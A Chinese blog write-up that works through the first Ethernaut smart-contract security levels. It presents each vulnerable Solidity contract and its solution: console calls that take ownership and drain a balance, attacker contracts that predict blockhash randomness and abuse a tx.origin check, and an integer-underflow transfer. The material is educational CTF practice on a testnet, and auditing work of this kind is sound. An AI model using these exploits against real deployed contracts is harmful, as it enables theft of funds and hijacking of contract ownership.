Bubbles~blog

用爱发电

从Ethernaut学习智能合约审计(一)

最近以太坊面临的问题也越来越多,很多合约都因为安全问题凉了,这几天发现zeppelin的一个Ethernaut平台还不错,上面有很多有问题的合约,以一种类似于ctf的形式展现给我们,找出它们存在的漏洞并利用,正好今天有空就写写前面几关的问题

该平台的网址是https://ethernaut.zeppelin.solutions

在里面你也能看到它们其实也有ctf版本,而且对于前五位完成的挑战者还有一万美元的奖金,而且完成的人似乎还能得到面试的机会,当然,现在是晚了,这个ctf版也只是还在那留着而已,题目也没有更新,正式版本倒是都有16道题目了

0.Hello Ethernaut

这是第一关,其实主要是带我们来看看这个平台如何操作的,算是新手教程

首先你需要给你的浏览器安装MetaMask插件,这在现在也几乎是在web端与智能合约交互必备的了,毕竟web3.js是直接支持它的,大家都统一标准也方便,然后我们将MetaMask的网络切换到ropsten测试网络,当然如果你是第一次安装插件,那么还需要先创建一个账号,记得保存好给你的12个单词的密码修改凭证,刚使用ropsten测试网络时我们是没有以太币的,这意味着我们是没法调用任何合约的,不过没关系,因为测试网络上的以太币是不要钱的,直接在插件上点击buy按钮,然后点击ropsten test faucet,在打开的网页里不断给自己打钱就行了,点一次一个币,说实话一个币就够你用很久了,日常调用合约所需的gas是很少很少的

然后我们来看这个游戏的命令行,我们只要打开浏览器的开发者工具即可在console里直接使用了,这种操作方式说实话倒是挺少见,刚一打开会给你报出很多参数,使用help()函数可以看到更多可操作的函数信息,这里就不细说了,我也有点懒得写,有兴趣的可以多看看页面上的介绍,我们直接看最下面的部分来看看如何通关

首先你要点击下面的蓝色按钮来在测试网络上建立新的合约,这也是你需要通关的合约,这将消耗一些gas,当然在测试网络上的我们是无所谓的

不过正常情况下还是需要等待一会,毕竟测试链也得差不多10s一个块,有时候消息堵塞的多了等上几十秒也是正常,部署成功后命令行里会有提示并弹出测试的合约地址

然后我们开始按照指令不断地调用函数

contract.info()->value:You will find what you need in info1().
 
contract.info2()->value:Try info2(), but with "hello" as a parameter.
 
contract.info2(“hello”)->value:The property infoNum holds the number of the next info method to call.
 
contract.infoNum()->value: 42
 
contract.info42()->value: theMethodName is the name of the next method.
 
contract.theMethodName()->value: The method name is method7123949.
 
contract.method7123949()->value: If you know the password, submit it to authenticate().

这些函数还真是构成一个链了,其实你在contract.abi里也能直接看到它们,到最后需要我们拿到password,我们在abi里可以看到有个password,我们直接调用即可拿到password,毕竟签到题

contract.password()->value: ethernaut0
 
contract.authenticate('ethernaut0')

这里最后的验证也需要gas,然后我们就可以提交答案了,同样需要gas,通关后可以看到源码

1.Fallback

直接给出了源码,可以开始我们的审计过程

pragma solidity ^0.4.18;
 
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
 
contract Fallback is Ownable {
 
  mapping(address => uint) public contributions;
 
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }
 
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
 
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
 
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }
 
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

智能合约的代码一般来说还是较简单的,也不长,首先我们可以看到通关条件是成为合约的owner,然后将它的balance清零

然后我们来看代码,首先它定义了一个名为contributions的地址到数字的映射,然后是Fallback函数,因为它与合约是同名的,所以它是个构造函数,也就是只在合约创建时执行一次,用来初始化合约拥有者的贡献值,并定为1000eth,这可是个不得了的数字

然后是contribute函数,你可以给它发送money来更新你的贡献值,而且每次的贡献不超过0.001eth,如果你的贡献超过了owner,这个函数也会将你设定为新的owner,getContribution函数则是用来返回请求者的贡献值,然后是withdraw函数,用来取出合约里的所有balance,它被限定为只有owner才有权执行,因为使用的是zeppelin的modifier,所以它本身是安全的

然后我们来看看最后这个无名的函数,它是一个fallback函数,无参数也无返回值,即当合约直接收到一笔eth或是未知的函数被调用时,那么合约就会执行fallback函数,如果没有这个函数那么一个合约直接收到eth就会触发异常,所一合约若要接收eth就必须实现fallback函数

我们来看看fallback函数干了啥,在这我们惊喜地看到它也有权力改变owner的值,要求是发送的eth>0且发送者的贡献大于0

看完了代码现在我们的目标应该也很清晰了,你要说靠贡献值来把owner挤掉那显然是不现实的,不说那得1000个eth,而且每次还限额了,更何况这样哪还叫攻击合约呢

所以我们的目标应该就是触发fallback函数,前面也提到了两种触发方式,看起来调用未知函数的方式似乎要简单些,不过我们目前实在命令行下操作,实际上还是使用的web3.js来进行交互,对于一个不存在的函数你想调用还是比较麻烦的,可能得自己修改发送的data的值,所以这里我们还是使用另一种方法

所以我们就得通过向合约发送eth来触发fallback函数,这一点我们的命令行下倒是可以直接做到,打开help()函数,我们可以看到里面就有提到可发送eth的函数sendTransaction,我们可以直接调用它来达到目的

所以现在我们的流程就很清晰了

contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 100}) //触发fallback函数
 
contract.withdraw() //将合约的balance清零

然后就可以提交了,成功后你就能看到给出的总结

2.Fallout

这一关也是要你取得合约的所有权

pragma solidity ^0.4.18;
 
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
 
contract Fallout is Ownable {
 
  mapping (address => uint) allocations;
 
  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
 
  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }
 
  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }
 
  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }
 
  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

这个合约也很简单,其实就是参与者可以通过allocate函数给自己的allocations充值,然后可以通过sendAllocation将所有存的eth发送出去,这个操作倒不是很懂,不过本来也没什么意义,其实我们可以看到涉及到了owner的更新操作的只有开头的Fal1out(),但是讲道理它是个构造函数的话那么我们是没法调用它的,不过说实话一开始看到它我就有点奇怪,毕竟作为一个构造函数它竟然可以接收eth并对allocations进行更新未免奇怪了点,后来把它从浏览器里复制出来我才发现它跟合约名原来tm的是不一样的,中间一个是l一个是1,真是服了,在浏览器上看起来真的几乎是一样的,不过这样的话这题就很简单了,我们直接调用这个函数就可以拿到owner权限了,感觉在这做题还真是不断想办法提权。。。

提交后我们也可以看到题目给出的总结里提到这种现象其实听到的,一些部署的合约里也被发现有这种漏洞,本该是构造函数的函数却因为粗心而成了利用点

3.Coin Flip

这一关倒是有点意思,我们可以叫它硬币翻转问题

胜利条件是成功连续猜对硬币翻转的结果10次

我们来看看代码

pragma solidity ^0.4.18;
 
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlip() public {
    consecutiveWins = 0;
  }
 
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
 
    if (lastHash == blockValue) {
      revert();
    }
 
    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
 
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

开头先定义了三个uint256类型的数据,其中给FACTOR赋值了一个很大的数,看了一下发现是2^255

接下来最前面这个函数没毛病应该是个构造函数了,这里把我们的猜对次数先初始化为0

然后是代码的主体flip函数

uint256 blockValue = uint256(block.blockhash(block.number-1));

首先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.numbe就是当前的区块数

然后下面检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态

之后下面便给lasthash赋值为blockValue,所以lasthash确实代表的就是上一个区块的hash值

接下来就是生产coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里/运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了,可以自己看看

通过对代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果

不过因为块之间的间隔也只有10s左右,要手工在命令行下完成这一系列操作还是有点困难,所以我们这里选择在链上另外部署一个合约来完成这个操作,当然手快运气好的也可以尝试直接手工
部署的方式当然是有很多种,我们这里直接使用http://remix.ethereum.org来部署合约

pragma solidity ^0.4.18;
 
 
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlip() public {
    consecutiveWins = 0;
  }
 
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
 
    if (lastHash == blockValue) {
      revert();
    }
 
    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
 
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
 
contract coin_hack {
  CoinFlip fliphack;
  // replace target by your instance address
  address target = your instance address;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function coin_hack() {
    fliphack = CoinFlip(target);
  }
 
  function pre_result() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }
 
  function hack() public {
    bool guess = pre_result();
    fliphack.flip(guess);
  }
}

代码也很简单,上面照搬,下面也差不多是照搬,其实差不多也可以把一个合约当初一个类来看,然后我们在remix上部署它,点击右上方的run,然后在create里选择coin_hack合约,支付gas后即可在链上成功部署它,成功后我们在其下方点击hack函数以调用,你可以多给一些gas来取得高一点的优先级,毕竟试十次也挺烦的,这边尝试完了你也可以在game的页面里验证是否成功,使用contrac.consecutiveWins()来查看当前猜对的次数,达到10次了就可以提交了,一般还是得等一会,其实从这我们也能体会到区块链的一些短板,网络感觉很容易就会卡顿,何况以太坊相对于比特币还算是要好很多了,不过现在的EOS貌似在这方面做的不错

提交后题目的总结也给我们指出了对于随机数的生成存在的问题,这在智能合约里确实很容易受到攻击,因为你很难去找到一个在这个系统里真正的随机数,目前一般还是采用第三方来提供

4.Telephone

这次的目标还是得到owner

代码很短,我们简单来看看

pragma solidity ^0.4.18;
 
contract Telephone {
 
  address public owner;
 
  function Telephone() public {
    owner = msg.sender;
  }
 
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

前面是个构造函数,把owner赋给了合约的创建者,照例瞅瞅这是不是真的构造函数,确定没有问题,下面一个函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的_owner

这里就涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户,知道了这些那么就很简单了,和上题一样,我们另外部署一个合约来调用这儿的changeOwner

pragma solidity ^0.4.18;
 
contract Telephone {
 
  address public owner;
 
  function Telephone() public {
    owner = msg.sender;
  }
 
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract Telhack {
 
    Telephone target = Telephone(your instance address);
 
    function hack(){
        target.changeOwner(msg.sender);
    }
}

部署Telhack后执行hack函数即可,随后给出的总结也给我们举了个这种攻击的可利用方式

5.Token

目标是黑掉这个合约,你有初始token20个,想办法取得更多
先来看看代码

pragma solidity ^0.4.18;
 
contract Token {
 
  mapping(address => uint) balances;
  uint public totalSupply;
 
  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }
 
  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
 
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

首先映射balance应该就代表了我们拥有的token,然后构造函数初始化了owner的balance,虽然不知道是多少,下面的transfer函数就是个打钱的,而且还是我们给别人汇款,下面一个函数就是查询当前余额

我们重点来看transfer

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

其实关键的地方就在这儿的require,这儿是可以发生下溢的,也就是最近闹得沸沸扬扬的一行代码蒸发多少亿的那个,因为事实上这儿的balances和_value都是无符号的,所以它两不管怎么减都是大于0的,0-1就变成了1111…..

那么思路就很明显了我们让_value等于21,这样balances[msg.sender] -= _value这一句就能让我们的balances变成一个最大的值

所以运行contract.transfer(0x0, 21)就行了,然后你运行balancesOf(player)就会发现你的balances异常的大

修复方案也很简单,提交后我们看到给出的也是使用OpenZeppelin所提供的safeMath